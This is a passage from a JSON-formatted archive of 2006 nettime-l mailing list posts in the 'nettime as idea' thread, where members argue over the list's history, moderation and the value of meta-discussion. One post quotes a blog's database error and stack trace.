 more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00085",
                        "date": "Mon, 12 Jun 2006 14:06:10 +0200",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1FppSf&#45;0002Hk&#45;RW {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00085.html",
                        "content-type": "text/plai",
                        "author_name": "Michael Benson",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "John Young <jya {AT} pipeline.com>",
                        "content": "Who has resisted the easy blaming of one's familiars when\nrejected or defeated by the world. Come home from a bad\nday being kicked by the boss to kick the dog, the kids, the\ncowering mate, reign dictatorially for a moment recounting\nshopworn grievances against those boringly dominatable by\nrecitation of what went wrongs years ago, to avoid remembering\nthe insults heaped today.\n\nYes, blame your parents, your college, your professors, your\nstudents, your one-time best friends for letting you down after\nsetting you up with barely deserved praise. Woe, whoa, now,\nget off your ass, forgo raging at the tube, the party in power,\nthe dimbulb who got the job purpose-built for you, and go\nfor a run, working a day or week or month for something other\nthan your idiot ambition to be somebody.\n\nBeing somebody was merely a drug fed to you to get you\npast suicidal adolescence and certainty of worthlessness,\nto get you into and out of military service, the university,\nthe years plugging away at a dying profession battling\nthe communists or the capitalists or the environmental\ndepredators, or white males, or anybody else not telling\nyou what a loss for humanity you display. If only you'd\nbeen this or that, the voices tell you day in and day out,\nif your delivery was even slightly approximate to your\npromise, and by the way how about paying the money\nyou owe me, the love you now withhold as if it never\nstank of cruelty and deception.\n\nFinally, get up on soapbox for the unwashed, preferrably \nsomebody else's, yours ineptly constructed collapsed \nyears ago, and orate the narcissistic heathens like yourself. \n\nCIA/MI6/BND/KGB got your number with that narcotic of \ncheap-ticket piddling egotism. Soros the bagman, following \nFord, Rockefeller, shit, even the filthy cold war armaments\nenriched Yerps.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00087",
                        "date": "Mon, 12 Jun 2006 13:29:44 -0700",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FpttS&#45;0007br&#45;1l {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00087.html",
                        "content-type": "text/plai",
                        "author_name": "John Young",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "\"A. G-C\" <guibertc {AT} criticalsecret.com>",
                        "content": "Dear David,\n\nAt the same time I am touched that you celebrate my return, by an ironical\nand pleasant version of the return of singular insane or some accidental\ndust, but I am as more amazed as you told of respectable or unrespectable\nmean, by how you can link it to Ken whom has nothing to do in this debate\nwhere he could take a part if he would hope ? but obviously not ?:) so\nplease, may be it is simple to leave the indirect voice of Ken in this\ndebate. Or his proper voice ad coming.\n\nI do not want contaminate Ken, the same as he would not contaminate me. We\nare diverse but solider autonomies. Being both pride. Proselytism is not\nexactly our friendship mode, but critical exchange. I trust him as friend in\nour differences recognizing of what we have in Partage that is of free\npositive ( freedom ) creation and ethically trusting together in a cognitive\ndisposition. And I am really working a lot to success in a difficult work\nfrom several sides as tribute to his Hacker that only friendship from his\npart can support so long waiting for FR emergence next Autumn 2006 ( at last\n).\n\nAt the moment you evoke him I want to quote his last interactive work in the\ninstitute future of the book, http://www.futureofthebook.org/ that is simply\ngreat critical work organically playing theory instead of theory of the\ntruth ( I do not tell why, immediately not being the subject ), where more\nis linked a certain blog on religions and gods title \"without gods toward an\nhistory of disbelief\" by Mitchell Stephens, both works being at my view an\nemergent and free vitality from New York that fascinates me cheerfully. Of a\nbeautiful arrogance from any few in that appears currently missing here and\nthere in the English-speaking streams of the no thematic lists of which I am\na subscriber. \n\nGAM3R 7H30RY \nhttp://www.futureofthebook.org/gamertheory/\n\n\nI am not impressed by contaminations, old use that I could approach in the\nformer times as a mean of post modern Marxist Leninist organizations being\nbureaucratic power themselves, -with a blind view, a deaf discourse and\nmaking dumb the voice ( even the vote) of the base- where I transited very\nfast not being from my part an adept of the hierarchic cup of tea (but from\na South tradition, of the voice and of the critical feeling ) my cup of tee,\nin the former times\n\nAs I was educated among a psychiatrist clinic by my parents as doctors with\ntheir patients, your glance does not deprive to me of any dignity to my\nproper eyes, being exactly the site from which I learnt that \"other\" was so\nstrange but so attractive so it is my richness nowadays to be able in\ndiscovery whatever the generation and the sexes, to autonomy and self\norganization.\n\n>From my part I have entered very late the debate since the beginning (\nregarding Montreal ) thanks the very special occasion of reopening the list\nto critical diverse point of views. But I see how hardly it can be to whom\nis a following subject of otherness such as not being considered able to\ndebate both together with the little aristocratic and academic but community\nhaving the large list in mastering. I mean of hierarchy and advantages over\npassing the question of the language BUT having the language as media\nprivilege..\n\n\n I prefer the part of Geert, cannot be my particular friend, even sometimes\npuritans at my view but never \"integrist\" and always straight and punctual\nin matter of criticism of the web community in real vision of the practice,\nthinking from his experiences of common, not from the part of a lobby nor\nfrom the part of a globalizing critical party (may be yes may be not but\nthis is not the public obvious part of his criticism to tribute others);\nmore, he is nearest than every one from nettime ? as well as outsider lists\nof nettime.org ? as thinker of the diversity of the common; to the part of\nself-organization as common diversity, from local self-organization till\nfederal self-organization being powerful: that is not exactly the power.\n\nThat is really which I hope better to criticize EU, at the time the power\nabolish the self decision, can be of Art, can be of the social\norganizations... \n\nCan be more of what you call theory of which I think myself that the time of\ntheory is over passed by the general time of organic essay whatever the\nfield ( another regime of theory in essay regarding the opposition between\nHegel and H\u00f6lderlin about philosophy and poetry that was never solved, just\na divide before ). At the moment the criticism of political economy has lost\nthe precious symbolic pact of relationship of means in social reports of\nproduction (specially capitalism having cut its own link with the social\npact of production), something new has to appear of we'll run in repetitive\ndying as from a traumatic situation to leave getting larger and larger the\nwide to the total power (Jarry says: \"l'ascension du vide par la p\u00e9riph\u00e9rie\"\nthat represents every part even that one of power ? taking the power from\nevery and in every part ).\n\nBut having a come back to the purpose, please let us note which changes\nsince Geert has left the moderation of the list :\n\nInternet ? code sources and Free sources\nOf Web2\nArts\nPost productive society\nOf security\nOf browser of lists\nOf spams\nGlobal organizations and alter global organizations\n\nAnd so on...\n\nPlease why it is not possible to have a discussion on that point. Is it a\nsupposed consensus to a political line here that forbid to approach this\nsort of debate?\n\nAnd to tribute the best of the list: why not a larger moderation as suggest\nit Geert? (Be quite: I do not beg my part in it:)\n\n\n\nOn 12/06/06 13:47, \"Geert Lovink\" <geert {AT} xs4all.nl> probably wrote:\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00092",
                        "date": "Mon, 12 Jun 2006 19:12:41 +0200",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1Fq46y&#45;000811&#45;5R {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00092.html",
                        "content-type": "text/plai",
                        "author_name": "A. G-C",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "brian carroll <human {AT} electronetwork.org>",
                        "content": "  i don't know, i find it confusing after a period of years in trying  \nto engages ideas on nettime as a supposedly public forum, consisting  \nof 'intellectuals' if not 'the intelligentsia' to have found so many  \nproblems with ideas themselves, in dealing with ideas beyond ideologies.\n\n  some may call this abuse, though after years of having facts,  \nreasoning, truth, empirical reasoning, 'proof', refutation of  \n'theory', simply ignored as the status quo of the existing academic  \nparadigm churns on, is, to me, frustrating, insulting, and without  \nintegrity in terms of ideas, and philosophies which purport to serve  \nideas, yet rather seem to be serving the people serving themselves  \ninstead.\n\nthis lack of integrity of ideas should not be respected, it should be  \nrejected and it is only accepted as the status quo because it is how  \npeople are making their living, however meagerly. yet in terms of  \nideas related to 'truth' or 'reality' this very compromise makes  \ndistortions and bias that lead up to hypocrisy at the level of ideas,  \nreasoning, and the inability to engage things as they more actually  \nare, not as they are wished or fantasized or believed by faith of  \nconsensus.\n\nthis is not a personal issue, it is a fact of living in this era,  \nwhich is itself totally failing, systematically. and to deal with  \nthis failure also necessitates taking account of how it is made to  \noccur. education being quite 'critical' to how ideas are made into  \nactions which, oddly enough, is in a mode of mass production by which  \nideas unfit for the existing environment are produced anyway, in  \nsurfeit, making its own demands regardless of true worth, need, or  \nvalue as to what is being sold, versus the actual goods. for  \ninstance, 9/11 did not happen in a vacuum, it relates to how ideas  \ncan or cannot deal with the dynamics related to 9/11, including in  \nUniversities where there are supposedly people who have some superior  \nsense about all this - yet remain totally and absolutely silent with  \nregard to insight as to what is now going on. in any practical sense,  \nincluding their own role in creating this situation.\n\nthus, the issue of 'objectivism' grounded in empirical knowledge with  \npeer review-- that is, checks and balances on the reasoning of an  \nargument, with regard to facts and logic-- that is what nettime could  \nfunction as, if it were in the tradition of philosophy and not the  \nhollow fraud that is theory today, that cannot stand as an argument  \nyet continues anyway, regardless, because it can-- because it is what  \nis being 'professed' and institutionalized as a mode of engaging  \nideas. yet, the assumptions underneath this is detached from a  \ngreater reality, physical fact, experiment, and substantive peer  \nreview which could _disprove any ideas, based on being theses, which  \nare instead more hypothetical and interesting in that, yet assume  \nmore dictatorial powers of making laws by thinking itself, -- i.e. i  \nthink it, i reason it, therefore, it is true, relatively speaking, of  \ncourse.\n\nyet, with this gambit of the pyramid-scheming the thinking self, it  \nhas in effect created an environment where ideas have turned into a  \ngame, and the ruling ideology is the theory regime, as it now stands,  \nwhich is _beyond any tangible critical review, which would ground  \nideas in a shared space of knowledge, facts, truth, and reason-- and  \ninstead becomes a theology of ideas, of faith and belief in a certain  \nset of ideas with boundaries, limits, etc. in other words, closed  \nideas, boundaries (borders) which, while one may speak against these  \nthings in rhetoric, are actually the things which sustain the current  \ninauthentic, disingenuous, and uncritical extension of ideology that  \nis based in ideas that were once answered and never to be questioned  \nagain-- because of some deal with the devil (institutions,  \neducational systems) which enable the shell game to continue, because  \npoking at that beast would hurt one's self, no?\n\nabuse, then, maybe, to have to consider that there may be natural  \nconflicts in the individuals who profess themselves cool thinkers  \nabout things, while slinging constant epithets at ideas, from what  \namounts to ideological positions that remain unquestioned and part of  \na massive group think that is the status-quo. even this is  \nunderstandable, and can be accommodated, yet what this is is also a  \nfundamental corruption of ideas, in academia, in the 'professional'  \nthinking class, (sic) which is unable to actively engage ideas  \noutside of the particular ideological constructs that protect and  \ndefend the mindset-- which cannot be placed under review. that is,  \nthe observer cannot become the observation, which is a pre-scientific  \npoint of view, which is seen in the lack of material proof for ideas,  \nwhich can wax on about anything, without much regard to substantive  \nviews which add up to more than one person's point of view alone.  \nthat is, empirical knowledge which builds and spans people and ideas,  \nconnects and does not simply divide, conquer, and monopolize ideas in  \nthe form of ideologies which are institutionalized by peers,  \n'professed' and extended as 'the system' which is what it is today: a  \nfailure which is incapable of dealing with the existing situation.  \nwhile the psychological aspect may be delusional if not self- \ndelusional, schizophrenic even, this is not to be considered in terms  \nof those doing the observations, only 'others' outside of this view.  \nthe abuse hurled at these others, from such points on high (in the  \nnetworked pantheon) is truly annoying, yet moreso, banal, boring,  \ntedious, and without merit in terms of ideas themselves and only  \npersonas, peer pressure, cliques, and the herd mentality that is more  \nscared than anything. because the ideas cannot stand - and some know  \nit. and this cannot be defended. and thus it calls into question the  \ngrand sweeping claims of theorists and 'intellectuals' who say this  \nand that about big things and ideas, which really exists without any  \naccountability whatsoever. what is the price of being wrong today?  \nnothing. not at thing. you get promoted or go on to become an expert  \nat it. as long as you can pay to play. power, not truth, defining  \nwhat is supposedly the more real reality, etc. even if it is only  \nvirtual, hyped, a bubble culture and bubble intellectualism that is  \nungrounded. and as such, the slightest disturbance threatens the  \nwhole of this overarching ideology which is itself the problem of why  \nthings are the way they are, and the status quo in the educational  \nsystem has something significant to do with this, not the least being  \nits philosophy is completely devoid of common sense, truth, logic,  \nreasoning, debate, peer review, outside of a controlled environment.\n\nthis in effect 'privatizes' ideas, in a marketplace which can be  \ncornered, in academics. it is to say that much if not most of what is  \ngoing on, online and in states, today, is based in this inherited  \nprivatization of ideas, which is now the base operation (status quo  \nof ideology) -- and that private language (theory, say), private  \nidentities, private reasoning and logic are all the basis for what is  \nnext to occur: capitalizing on this situation for one's own benefit,  \nfuck the truth and fuck the others.\n\nso, whatever delusional utopia one may believe themselves pursing is  \nby and large happening in a context of private thinkers who are doing  \nall the things they rail against, in large-scale economic systems-  \nexcept it is happening in ideas, in educational systems-- and it is  \nabysmal and without soul, merit, or insight into the actual issues  \nand actual responses required, outside the narrow and limiting  \napproach -- yet, like true believers, none of this can be brought  \nunder question -- no matter if one's flag is anarchism or  \nlibertarian, social democrat or whatnot, (queer, atheist, etc) that  \nthis is part of the private capitalism of the individual, as governed  \nas a state of affairs, in terms of thinking because it brings with it  \ndirect contradiction between the facts and truth and what is being  \nsaid and 'represented' and 'believed' within such an environment  \nwhich, as stated, is without consequence for saying one thing and  \ndoing another.\n\nthis is a consequence of larger issues having to do with relativism  \nin ideas, and this privatization as being a devolution of a once- \npublic system that could not adapt, and instead disintegrated over  \nthe last 200 years (in the .US, for example, in the constitution) by  \nwhich definitions can mutate from representing a higher ideal (where  \nmankind is presumed equated with humankind) to one where this dynamic  \nis replaced by a lesser version (this vagueness leading corporations  \non the path to citizenship, and representation, in what has evolved  \ninto a corporate dictatorship today).\n\nso, while one may call into question the points of view which  \n'profess' universalism via 'the magic of theory', it is without  \ngreater empirical truth, in the sense of a sharing of facts and  \nreasoning that goes beyond this privatization of ideas, which instead  \nfunctions as ideology. it is pyramid building because, if there is a  \npeer group (of like minded theorists, privatized thinkers) there is a  \nprivate empire/empricism which can grow, while it excludes actual  \n'difference' and all the other keyword 'big ideas' that go into its  \nown justification, as if this is universal representation, when  \ninstead it is a bill of goods that are not actually what is being  \nsold, it is a knock-off, rip-off, a cheat lie and steal.\n\nso, what about this theft, robbery, in terms of ideas, in a public  \nforum, and dealing with it? it does not exist, so far as it seems in  \nthis nettime. it is unnecessary to engage, because it is optional  \n(ah, relativism, 'options', the market, etc).  if based in public  \ndebate, facts, truth, *accountability* for the theses (ur, theory)  \nand accepting that the basic situation in ideas is that they can be  \ndisproved (!!), that this is not necessarily simply abuse-- and  \ninstead, squaring ideas with the truth of what exists.\n\nif this is not necessary, then nettime as it now seems, is also  \nunnecessary for this is a private list of people who have private  \nideas who are unable to have public debates and only talk past one  \nanother in terms of ideas, which do not build up to anything more  \nthan markets of limited views which are fundamentally opposed to a  \nsharing of views, of ideas, and reasoning in an open forum- because  \nit does not function in terms of ideas, and instead, in terms of  \nextending ruling ideology.\n\nto question the ideology and reason complex ideas has no effect -- it  \nis out of place if it is to question the underlying assumptions which  \ndrive this mechanism, which is itself unintelligent in the larger  \nscales, if not allowing partial knowledge, partial worth, of the  \nrelative points of view, yet if they do not share a common structure,  \nit negates the truth of all arguments in a zero sum game. which is  \nwhat constantly happens. and instead, cultivates only the delusions  \nof egos, which is its own problem in terms of philosophy, because  \nthis also acts as a mirror of the limits of viewpoints, where they  \ncannot get beyond, including personal points of view, which may have  \nmore to do with social groups and being on the 'inside' (else being  \nignored, invisible, suspect, conspirator!) -- it is incredulous and  \npandering to the weakness of this existing social system which is so  \ngoddamn hypocritical as to be obscene, intellectually, and it is  \nexpected one is just supposed to go along with this flow of things?  \nbecause that is the way it is, that the strategy is itself not  \ntotally fucked up?\n\nno words will change this, on this list. no facts, no argument. it is  \nideology. it is being able to be wrong, partially wrong, partially  \nright. yet words have not been able to accomplish the heavy lifting  \nbecause the ideology is so complete and the deep-freeze of ideas, so  \nstuck in another age. abuse is ignoring these facts, these dynamics,  \nthis absolutely decrepit situation and the total lack of any  \naccountability for being wrong, for having ideas being disproven and  \nideologies detonated, on list, and yet go on as if living in  \noblivion, which pretty much accurately describes the situation today.\n\nthat means, yes, maybe we all are included and each can realize our  \nown limitations, yet there are issues that go beyond ourselves, our  \negos, our private ideas and agendas, and this is the realm in which  \nphilosophies change, where the basic assumptions are tested and  \ntransformed, based on reasoning, debate, new views, etc. and  \nattempting such 'rigor' on nettime has been and is futile, because  \ninstead it is seen as insulting to the aristocratic system of  \nrepresentation that now reigns. that is, it is a total system, and if  \nthis cannot be accounted for in the ideas here, the ideas have little  \nor no merit when claiming to deal with such dimensions, it is only  \nplaying around in fictions. and without risk. and without true  \nability to deal with what is going on, outside of pure ideology which  \nis more complex, demands more, is more humbling, and might crush a  \ngood portion of those who profess to not be ideologues and have  \ncapitalism also hidden within their genes.\n\nthis is not to continue to speak past 'nettime as an idea' as if  \npolitically uncorrect. it would be to have integrity about ideas, as  \nideas, and instead, this is nettime as ideology -- moderate it.\n\n\n\n  brian thomas carroll: research-design-development\n  architecture, education, electromagnetism\n  http://www.mnartists.org/brian_carroll\n  http://www.electronetwork.org/bc/\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00099",
                        "date": "Tue, 13 Jun 2006 08:56:18 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FqGsi&#45;0004UQ&#45;9l {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00099.html",
                        "content-type": "text/plai",
                        "author_name": "brian carroll",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "Heiko Recktenwald <uzs106 {AT} uni-bonn.de>",
                        "content": "Well,\n\nFelix Stalder wrote:\n>\n> [1] http://nettime.freeflux.net, http://nettime-ann.freeflux.net/\n\n\n PopoonDBException\n\nMessage: MDB2 Error: unknown error\n\nCode:\n\nuserInfo:\n[Last query: SELECT blogposts.post_uri,blogposts.id, blogposts.blog_id, \nblogposts.post_title, blogposts.post_uri, blogposts.post_content, \nblogposts.post_content_extended, blogposts.post_info, \nblogposts.post_status, blogposts.post_guid_version, \nunix_timestamp(blogposts.changed) as lastmodified, \nDATE_FORMAT(DATE_ADD(blogposts.post_date, INTERVAL 7200 SECOND), \n\"%d.%m.%Y %H:%i\") as post_date, unix_timestamp(blogposts.post_date) as \nunixtime, blogposts.post_expires as expires, \nblogposts.post_comment_mode, DATE_FORMAT(blogposts.post_date, \n\"%Y-%m-%dT%H:%i:%SZ\") as post_date_iso, blogposts.post_author, \ncount(blogcomments.id) as comment_count, \nunix_timestamp(max(blogcomments.changed)) as comment_lastmodified from \nnettime_freeflux_net_blogposts as blogposts left join \nnettime_freeflux_net_blogcomments as blogcomments on blogposts.id = \nblogcomments.comment_posts_id and blogcomments.comment_status = 1 where \nblogposts.id = \"1462\" and blogposts.blog_id = \"1\" group by blogposts.id \n] [Native code: 1016] [Native message: Can't open file: \n'nettime_freeflux_net_blogcomments.MYI' (errno: 145)]\n\nIn File [BX_PROJECT_DIR]/inc/bx/plugins/blog.php Line 452\n\nstacktrace\n\n#0 [BX_PROJECT_DIR]/inc/bx/plugins/blog.php(637): bx_plugins_blog->getBlogPostData('1462', '/blog/', false)\n#1 [BX_PROJECT_DIR]/inc/bx/plugins/blog.php(340): bx_plugins_blog->getBlogPosts(Object(MDB2_BufferedResult_mysql), '/blog/', false)\n#2 [BX_PROJECT_DIR]/inc/bx/collection.php(149): bx_plugins_blog->getContentById('/blog/', 'index')\n#3 [BX_PROJECT_DIR]/inc/bx/collection.php(115): bx_collection->getContentByPluginMap(Array)\n#4 [BX_PROJECT_DIR]/inc/bx/popoon/components/generators/bxcms.php(77): bx_collection->getContentByRequest('index', 'html')\n#5 [BX_PROJECT_DIR]/tmp/_var_www_freeflux_cms1.4_sitemap_sitemap.xml(1335): popoon_components_generators_bxcms->DomStart(Object(DOMDocument))\n#6 [BX_PROJECT_DIR]/inc/popoon/sitemap.php(178): include('/var/www/freefl...')\n#7 [BX_PROJECT_DIR]/inc/popoon/sitemap.php(164): popoon_sitemap->runSitemap('./tmp/_var_www_...')\n#8 [BX_PROJECT_DIR]/inc/popoon/popoon.php(182): popoon_sitemap->__construct('/var/www/freefl...', 'index.html', Object(bx_config))\n#9 [BX_PROJECT_DIR]/inc/popoon/popoon.php(160): popoon->run('/var/www/freefl...', 'index.html', Object(bx_config))\n#10 [BX_PROJECT_DIR]/index.php(31): popoon->__construct('/var/www/freefl...', 'index.html', Object(bx_config))\n#11 {main}\n\nError... more text here\n\n\nFlorian Cramer?\n\n\nI think we both once met in real live as well, is organising real life events\nanybodys property?\n\nNettime as a label,\n\n\nH.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00100",
                        "date": "Fri, 09 Jun 2006 16:17:24 +0200",
                        "to": "netti netto <nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1FqGnf&#45;0004Mz&#45;Pr {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00100.html",
                        "content-type": "text/plai",
                        "author_name": "Heiko Recktenwald",
                        "subject": "Re: <nettime> nettime as idea"
                    }
                ],
                "message-id": "E1FoQ5z&#45;0001po&#45;Fl {AT} bbs.thing.net",
                "date": "Thu, 8 Jun 2006 11:33:35 -0500",
                "content-type": "text/plai"
            },
            {
                "id": "00093",
                "content": "All\n\nI think I can say that I have been on nettime for as long as I can remember\nbut, please, will someone change the channel? \n\nI can't be the only lurker around here who is BORED TO DEATH with the\nentrails of nettime, who did what to whom in 1996 etc. \n\nIf there is one way to kill nettime it is keep posting this self-absorbed\nprattle for weeks on end.\n\n \n\nJohn\n\nDr John Armitage\n\nCo-editor, Cultural Politics\n\nDivision of Media & Communication\n\nSchool of Arts & Social Sciences\n\nNorthumbria University\n\nNewcastle upon Tyne\n\nNE1 8ST, UK\n\n(t): (+44) 0191 227 4971\n\n(e) (w) j.armitage {AT} unn.ac.uk\n\n(e) (h) j.armitage {AT} technologica.demon.co.uk\n\nVisit the Cultural Politics Website at:\n\nhttp://www.bergpublishers.com/uk/culture/culture_about.htm\n<http://www.bergpublishers.com/uk/culture/culture_about.htm> \n\n \n\n \n\n \n\n \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00093.html",
                "list": "nettime_l",
                "author_name": "J Armitage",
                "subject": "<nettime> RE: nettime as idea",
                "from": "J Armitage <j.armitage {AT} unn.ac.uk>",
                "follow-up": [
                    {
                        "content-type": "text/plai",
                        "from": "David Garcia <davidg {AT} xs4all.nl>",
                        "id": "00094",
                        "content": "John,\nI feel double about what you say.\nYour right and many lists have been destroyed by endless self meta-discussion.\n\nOn the other hand from time to time it may be needed for at least a little\nwhile. To clear the air.  And that has something to do with the peculiarity of\na list as a  social/publishing space.\n\nIn other words it is not just TV where you can just  'change the  channel'\nneither is it a space for discourse alone it is also a community of sorts and\nas such has a community memory.\n\nArguing over its meaning may also involve questions of historical fact\nincluding personal issues between members of the community. And yes sometimes\nits boring.\n\nBut I do not think that these discussions are disconnected to issues of more\nsubstance.  How we treat each other in our communities of discourse is an\nimportant expression (and test) of our politics in practice.\n\nMaybe something of the old feminist slogan holds true in this instance: \"the\npersonal is political\".\n\nBest\n\nDavid\n\nOn Jun 13, 2006, at 9:51 AM, J Armitage wrote:\n\n> All\n>\n> I think I can say that I have been on nettime for as long as I can  remember\n> but, please, will someone change the channel?\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "date": "Tue, 13 Jun 2006 11:23:47 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1Fq6kv&#45;0003na&#45;Q6 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00094.html",
                        "list": "nettime_l",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> RE: nettime as idea"
                    },
                    {
                        "from": "Wayne Myers <waz {AT} easynet.co.uk>",
                        "content": "On Tue, 13 Jun 2006 08:51:25 +0100\nJ Armitage <j.armitage {AT} unn.ac.uk> wrote:\n\n> I think I can say that I have been on nettime for as long as I can remember\n> but, please, will someone change the channel? \n\nYes. Totally. I agree. Entertain me please, damn you. Entertain /me/.\nWith every post. With every topic. If a topic comes up which doesn't\ninterest me, I will write in and complain. Dear BBC, er, Nettime.\nHow dare you presume to have an uninteresting thread. You, who have\nonly had interesting threads since 1896! Please stop discussing this\nboring topic at once. How dare you attempt to discuss something that\nI find boring. I mean really.\n\n> I can't be the only lurker around here who is BORED TO DEATH with the\n> entrails of nettime, who did what to whom in 1996 etc. \n\nI can't be the only lurker around here who is BORED TO DEATH. But I\ndon't want to unsubscribe just yet either...\n\n> If there is one way to kill nettime it is keep posting this self-absorbed\n> prattle for weeks on end.\n\nOh come on, John. Nettime died years ago. Netcraft confirms it...\n\nCheers,\n\nWayne\n\n-- \nWayne Myers\nhttp://www.waz.easynet.co.uk/\nhttp://www.conniptions.org/\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00103",
                        "date": "Wed, 14 Jun 2006 02:30:19 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FqNJ7&#45;0003dx&#45;Fg {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00103.html",
                        "content-type": "text/plai",
                        "author_name": "Wayne Myers",
                        "subject": "Re: <nettime> RE: nettime as idea"
                    }
                ],
                "message-id": "E1Fq4AL&#45;00082b&#45;3D {AT} bbs.thing.net",
                "date": "Tue, 13 Jun 2006 08:51:25 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "\"Heiko Hansen\" <heiko {AT} hehe.org>",
                "id": "00097",
                "content": "Garcia:\n\n>But I do not think that these discussions are disconnected to issues of more\n>substance.  How we treat each other in our communities of discourse is an\n>important expression (and test) of our politics in practice.\n\nI like this problem and I had to think about an interview with Andrea Branzi\nI recently read:\n\n\"As always, there is the problem of the environment and the problem of the\nevironmentalists. These are two separate questions. Personally, I have never\nmet an environmentalist who gave any signs of a concern for humanity, a\nsense of delicacy toward people (who are an important part of nature)\"\n\nIt might be unnecessarily impossible per se, but what about the idea of\nstyle - in activism ...\n\nh\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 13 Jun 2006 14:19:11 +0200",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "message-id": "E1Fq7xW&#45;0006ea&#45;F6 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00097.html",
                "list": "nettime_l",
                "author_name": "Heiko Hansen",
                "subject": "AW: <nettime> RE: nettime as idea"
            },
            {
                "content-type": "text/plai",
                "from": "Gita Hashemi <gita {AT} ping.ca>",
                "id": "00084",
                "content": "At 10:39 AM +0200 6/12/06, David Garcia wrote:\n>I would argue that any movement for radical change should be carried\n>out in close collaboration with the moderators and should take a very\n>different approach and tone from some of the peremptory notifications\n>we have seen on this thread. And above all they should seek to\n>work imaginatively with the fact that nettime has found a powerful\n>way of addressing our most pressing issue; sustainability without\n>institutionalisation.\n\ni agree that the tone of *some* of the exchanges [please, let's not \nhomogenize] has been more self-serving than visionary and imaginative \n- on this thread and others prompted by the NNA - and that the \npronunciations of the  \"death of nettime\" too have been \nself-perpetuating in the way that the \"the death of the author\" \nultimately has been for its author!  respectfully, i would add that \nthe moderators - present and past - have not been outside this \ndynamic but have directly contributed to it.  i'd also contend that \nnettime itself is currently understood as an institution - otherwise, \nwhy question whether NNA had much to do with nettime rather than \nacknowledge the model of sustainability it put forth through engaging \nothers outside the nettime proper? and why such struggle over \nnettime's history? - and that institutionalization is not necessarily \nbad - neither is it entirely avoidable; show me a tactical \nintervention grouping and/or a public space that is not already \ninstitutionalized in one way or another - so long as the institution \nis open to conflict, re-definition, re-organization and rejuvenation \n[by which i mean reflective of a refreshed demographic, landscape, \nvision].\n\nin all recent exchanges presumably triggered by the CPR gathering \n[*I'd like to now propose a change of identity from NNA to CPR to \nsignal that some of the people who attended the gathering including \nsome of the organizers, presenters and attendees came from other \nmilieus*], we have been focusing too much on the internal dynamics \nand rivalries of nettime (however we might define that interiority), \nbut haven't given 